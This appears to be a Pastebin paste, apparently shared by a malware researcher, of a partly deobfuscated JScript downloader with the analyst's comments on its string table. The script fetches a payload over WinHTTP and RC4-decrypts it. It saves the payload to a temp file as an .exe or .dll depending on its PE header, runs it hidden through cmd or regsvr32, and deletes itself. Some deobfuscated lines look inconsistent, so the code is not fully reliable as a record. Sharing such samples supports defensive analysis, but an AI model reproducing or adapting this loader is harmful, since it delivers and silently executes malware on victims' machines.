Advertisement
Kafeine

js_neut

Jun 7th, 2016
320
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.81 KB | None | 0 0
  1. hl = function(n, g) {
  2. for (var c = 0, d, b = [], h = [], a = 0; 256 > a; a++) b[a] = a;
  3. for (a = 0; 256 > a; a++) c = c + b[a] + g[v](a % g.length) & 255, d = b[a], b[a] = b[c], b[c] = d;
  4. for (var e = c = a = 0, s = String; e < n.length; e++) a = a + 1 & 255, c = c + b[a] & 255, d = b[a], b[a] = b[c], b[c] = d, h.push(s.fromCharCode(n[v](e) ^ b[b[a] + b[c] & 255]));
  5. return h[u(15)](u(11))
  6. };
  7. var na = "WinHTTP Request.5.1 GET Scripting.FileSystemObject WScript.Shell ADODB.Stream Arguments .exe GetTempName charCodeAt iso-8859-1 indexOf .dll ScriptFullName join run /c /s ";
  8.  
  9. function u(i) {
  10. return na["Split"]("Z")[i]
  11. };
  12.  
  13. function li(g) {
  14. var k = o(u(0) /* WinHTTP */ + "." + u(0) + u(1));
  15. k.setProxy(n);
  16. k.open(u(2), g(1), n);
  17. k.Option(0) = g(2);
  18. k.send();
  19. if (0310 == k.status) return hl(k["ResponseText"], g(n))
  20. };
  21.  
  22. function o(a) {
  23. return new ActiveXObject(a)
  24. };
  25. try {
  26. na += "e GetTempName charCodeAt iso-8859-1 indexOf .dll ScriptFullName join run /c /s ";
  27. var q = o(u(3)), //Scripting.FileSystemObject
  28. m = WScript[u(6)], //Arguments
  29. j = o(u(4)), //WScript.Shell
  30. s = o(u(5)), //ADODB.Stream
  31. p = u(7), //.exe
  32. n = 0,
  33. h1 = WScript[u(14)],
  34. v = u(9); //charCodeAt
  35. s.Type = 2;
  36. c = q[u(8) /* GetTempName */]();
  37. s.Charset = u(10);
  38. s.Open();
  39. i = li(m);
  40. d = i[v](i[u(12) /* indexOf */ ]("PE\x00\x00") + 23);
  41. s["WriteText"](i);
  42. if (037 < d) {
  43. var z = 1;
  44. c += u(13)
  45. } else c += p;
  46. s["SavetoFile"](c, 2);
  47. s.Close();
  48. z && (c = "regsvr32" + p + u(18) + c);
  49. j[u(16)/*join*/]("cmd" + p /* .exe */ + u(17) /* run */ + c, 0)
  50. } catch (hy) {}
  51. q["DeleteFile"](h1);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement